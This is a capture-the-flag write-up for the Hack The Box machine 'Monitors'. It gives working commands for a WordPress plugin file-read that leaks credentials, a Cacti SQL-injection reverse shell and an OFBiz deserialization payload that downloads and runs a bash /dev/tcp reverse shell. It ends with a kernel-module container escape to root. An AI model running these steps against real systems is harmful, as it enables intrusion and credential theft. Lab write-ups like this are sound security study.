HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Monitors

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.238 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Thu Apr 20 10:48:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Thu Apr 20 10:48:41 2023 -- 1 IP address (1 host up) scanned in 16.20 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.238 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Thu Apr 20 10:51:49 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 bacccd81fc9155f3f6a91f4ee8bee52e (RSA)
|   256 6943376a1809f5e77a67b81811ead765 (ECDSA)
|_  256 5d5e3f67ef7d762315114b53f8413a94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 20 10:51:57 2023 -- 1 IP address (1 host up) scanned in 8.50 seconds

We are not allowed to access the website on port 80.

As we can see in the email address, there is the domain.htb. Let's add it to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.238    monitors.htb 

There is virtual hosting running because using this domain we'll see a WordPress site.

If we use wpscan to enumerate the WordPress site, we'll see that it is using a plugin called wp-with-spritz.

wpscan --url http://monitors.htb/ -o wpScan -e ap,at,tt,cb,dbe,u,m

  • --url URL of the WordPress site.

  • -e ap enumerate all plugins.

  • -o save result to a file.

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ÂŽ
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
...
[i] Plugin(s) Identified:

[+] wp-with-spritz
 | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-08-20T20:15:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 4.2.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
...

Exploitation

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/false

As this is a WordPress site, the wp-config.php file could contain some credentials.

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php"

...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...

Indeed, it has credentials for the MySQL database, which might be helpful later. The website is running on an Apache2 web server, so we could also list the /etc/apache2/sites-enabled/000-default.conf file.

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/000-default.conf"

# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf

<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin admin@monitors.htb
        DocumentRoot /var/www/html
        Redirect 403 /
        ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: admin@monitors.htb"
        UseCanonicalName Off
        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

There is a comment at the top of the file with one more subdomain. Let's add it to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.238    monitors.htb    cacti-admin.monitors.htb

This subdomain shows a login page for a Cacti 1.2.12 server. If we try to log in as the admin user using the password we found in the wp-config.php file, we'll be able to access the website.

One SQL Injection vulnerability affects this version of Cacti.

searchsploit cacti 1.2.12

-------------------------------------------------------------- ----------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ----------------------
Cacti 1.2.12 - 'filter' SQL Injection                         | php/webapps/49810.py
-------------------------------------------------------------- ----------------------
Shellcodes: No Results

Let's move it to our current directory and rename it.

searchsploit -m php/webapps/49810.py

mv 49810.py cacti.py

The script will send a reverse shell to our machine, so first we need to set a netcat listener.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, run the script, giving the following parameters and get a shell as www-data.

python cacti.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.5 --lport 4444

Listening on 0.0.0.0 4444
Connection received on 10.10.10.238 34642
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Privilege Escalation

If we list all the system services, we'll see one called cacti-backup.service.

systemctl list-unit-files --type=service

UNIT FILE                              STATE    
...
cacti-backup.service                   linked
...

Let's find out where its configuration file is located.

find / -name cacti-backup 2>/dev/null

/etc/systemd/system/cacti-backup.service
/lib/systemd/system/cacti-backup.service

As we can see in its configuration file, it is running a script located in /home/marcus/.backup/.

cat /etc/systemd/system/cacti-backup.service

[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target

The backup.sh file contains new credentials.

cat /home/marcus/.backup/backup.sh

#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

The password is valid for the marcus user, and we'll be able to grab the user flag.

su marcus

Password: VerticalEdge2020
marcus@monitors:/usr/share/cacti/cacti$ whoami
marcus
marcus@monitors:/usr/share/cacti/cacti$ cat /home/marcus/user.txt 
d4007c249b4aeb514c545ca2e3ec915c

In the home directory of marcus, there is one file called note.txt.

cat note.txt

TODO:

Disable phpinfo in php.ini              - DONE
Update docker image for production use  -

Apparently, there are docker containers running on the server. In fact, there is a process running docker-proxy on port 8443.

ps aux | grep docker

...
root       2065  0.0  0.0 553112  3976 ?        Sl   07:35   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
...

But pot 8443 is only open on the localhost.

netstat -tulpn

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:161           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:53726           0.0.0.0:*                           -

As port 22 is open, and we have credentials for marcus, we could do a local port forwarding of that port using SSH.

sshpass -p 'VerticalEdge2020' ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443

Now we can access the website using HTTPS on our localhost.

https://127.0.0.1:8443/

This is an Apache Tomcat/9.0.31 web server. Let's enumerate subdirectories with gobuster.

gobuster dir -u https://127.0.0.1:8443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://127.0.0.1:8443
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/21 08:47:16 Starting gobuster in directory enumeration mode
===============================================================
/common               (Status: 302) [Size: 0] [--> /common/]
/images               (Status: 302) [Size: 0] [--> /images/]
/catalog              (Status: 302) [Size: 0] [--> /catalog/]
/content              (Status: 302) [Size: 0] [--> /content/]
/marketing            (Status: 302) [Size: 0] [--> /marketing/]
/ecommerce            (Status: 302) [Size: 0] [--> /ecommerce/]
/ap                   (Status: 302) [Size: 0] [--> /ap/]
Progress: 1267 / 220561 (0.57%)^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/04/21 08:47:21 Finished
===============================================================

There are a lot of directories that show a 302 status, trying to redirect to somewhere. Let's choose one of them, and see where we are being redirected.

https://127.0.0.1:8443/content

We are redirected to a login page for an Apache OFBiz 17.12.01 server.

There is one Remote Command Execution vulnerability that affects this version of OFBiz.

searchsploit ofbiz 17.12.01

------------------------------------------------------------- -----------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- -----------------------
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)        | java/webapps/50178.sh
------------------------------------------------------------- -----------------------
Shellcodes: No Results

Let's exploit this manually. First, we need to download the ysoserial-all.jar file.

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

Then, create the shell.sh script with the following code.

nano shell.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/5555 0>&1

Now, set a simple HTTP server where the shell.sh script is located.

python -m http.server 80

And another netcat listener on port 5555.

nc -lvnp 5555

Now, using the ysoserial-all.jar file, we need to serialize a payload that will download the shell.sh script from our machine.

/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://10.10.14.5/shell.sh -O /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'

rO0ABXNyABdqYX...B4cQB+AA14

Now send a request to the xmlrpc of the web server with the base64 payload we created.

curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...B4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null

Now the script should be downloaded in the /tmp directory of the docker container. We need to do the same, but this time instead of downloading the script, we will execute it.

/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'

Finally, send the curl request again, but this time with the new payload, and we should gain access to the docker container as root.

curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...QB4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null

Listening on 0.0.0.0 5555
Connection received on 10.10.10.238 40332
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@f2808ec13717:/usr/src/apache-ofbiz-17.12.01# whoami
whoami
root
root@f2808ec13717:/usr/src/apache-ofbiz-17.12.01# hostname -I                                                                            
hostname -I                                                                                                                              
172.17.0.2

If we list the current capabilities, we'll see that we have the cap_sys_module capability.

capsh --print

Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

cd /tmp

vi reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/6666 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Then, create the Makefile file with the following content.

vi Makefile

obj-m +=reverse-shell.o
all:
        make -C /lib/modules/4.15.0-142-generic/build M=/tmp modules
clean:
        make -C /lib/modules/4.15.0-142-generic/build M=/tmp clean

Then do the compilation.

make

Now, set a netcat listener on port 6666.

nc -lvnp 6666

Finally, to trigger the exploit run the following command, and get a shell as root in the Monitors machine. Then, all we have to do is reap the harvest and take the root flag.

insmod reverse-shell.ko

Listening on 0.0.0.0 6666
Connection received on 10.10.10.238 46994
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami
whoami
root
root@monitors:/# hostname -I
hostname -I
10.10.10.238 172.17.0.1 172.18.0.1 dead:beef::250:56ff:feb9:83a2 
root@monitors:/# cat /root/root.txt
cat /root/root.txt
d6e1dfccc43ba8526ba48dd8e6c03d46

A simple search in will lead to the vulnerability. This vulnerability allows us to list local and remote files.

As is explained in the article , there is a way to break out of the docker container if this capability is available. First, we need to create the reverse-shell.c file with the following code.

exploit-db.com
WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
Docker Container Breakout: Abusing SYS_MODULE capability!